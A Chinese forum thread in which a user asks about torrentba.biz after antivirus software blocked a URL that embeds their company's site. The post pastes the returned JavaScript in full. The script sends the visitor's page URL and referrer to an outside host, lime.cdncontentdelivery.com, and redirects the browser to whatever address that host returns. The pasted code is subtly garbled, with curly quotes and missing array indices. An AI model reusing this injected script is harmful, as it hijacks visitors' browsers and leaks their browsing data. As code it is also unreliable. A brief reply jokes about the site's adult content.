大佬们torrentba.biz是什么网站？

木易酱 大佬有话说 :

大佬们torrentba.biz是什么网站？

刚刚电脑火绒突然弹窗拦截一个病毒网址，我打开隔离区一看，拦截了http://torrentba.biz/s/www.xxx.cn/1/ 这个网址，www.xxx.cn是我们公司的网站，不知道为啥会突然拦截这个，难道是我的电脑中病毒了？我手动打开这段网站，返回一段JS代码：
(function(){
function initXMLhttp() {

    var xmlhttp;
    if (window.XMLHttpRequest) {
      xmlhttp = new XMLHttpRequest();
    } else {
   
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }

    return xmlhttp;
}

function minAjax(config) {

    if (!config.url) {
      return;

    }

    if (!config.type) {
      return;

    }

    if (!config.method) {
      config.method = true;
    }

    if (!config.debugLog) {
      config.debugLog = false;
    }

    var sendString = [],
      sendData = config.data;
    if( typeof sendData === "string" ){
      var tmpArr = String.prototype.split.call(sendData,’&’);
      for(var i = 0, j = tmpArr.length; i < j; i++){
            var datum = tmpArr.split(‘=’);
            sendString.push(encodeURIComponent(datum) + "=" + encodeURIComponent(datum));
      }
    }else if( typeof sendData === ‘object’ && !( sendData instanceof String ) ){
      for (var k in sendData) {
            var datum = sendData;
            if( Object.prototype.toString.call(datum) == "" ){
                for(var i = 0, j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum));
                }
            }else{
                sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
            }
      }
    }
    sendString = sendString.join(‘&’);

    if(window.XDomainRequest) {
      var xmlhttp = new window.XDomainRequest();
      xmlhttp.onload = function () {
            if(config.success){
                config.success(xmlhttp.responseText);
            }
      };
      xmlhttp.open("POST", config.url);
      xmlhttp.send(sendString);
    }else{

      var xmlhttp = initXMLhttp();

      xmlhttp.onreadystatechange = function() {

            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {

                if (config.success) {
                  config.success(xmlhttp.responseText, xmlhttp.readyState);
                }

            } else {

            }
      }

      if (config.type == "GET") {
            xmlhttp.open("GET", config.url + "?" + sendString, config.method);
            xmlhttp.send();

      }
      if (config.type == "POST") {
            xmlhttp.open("POST", config.url, config.method);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send(sendString);   
      }

    }

}

        dL();

        function dL(){
        var host = ‘http://lime.cdncontentdelivery.com/f’;
                var config = {
                  url: host + "/stats.php",
                  type: "POST",
                  data: {
                                vbase: document.baseURI,
                                vhref: location.href,
                                vref: document.referrer, sh: ‘dG9ycmVudGJhLmJpeg==’,                                k: "dG9ycmVudGJhLmJpeg==",
                                ek: "dG9ycmVudGJhLmJpeg==",
                                t: Math.floor(new Date().getTime() / 1000), su: ‘这一段是网站www.xxx.cn/1/的base64加密代码’,                                tg: ""
                  },
                  success: onSuccessCallback
                };

                function bl(resp){
                        !function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
                parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
                function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
                r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
                }

                function onSuccessCallback(response){
                                if(response && response.indexOf(‘http’) > -1){
                                        bl(response);
                                }
                }

               
                minAjax(config);

        }
})();
https://cdn.jsdelivr.net/gh/hishis/forum-master/public/images/patch.gif

16qf 大佬有话说 :

Torrentba-番号磁力链接搜索下载引擎，小jj看多了:lol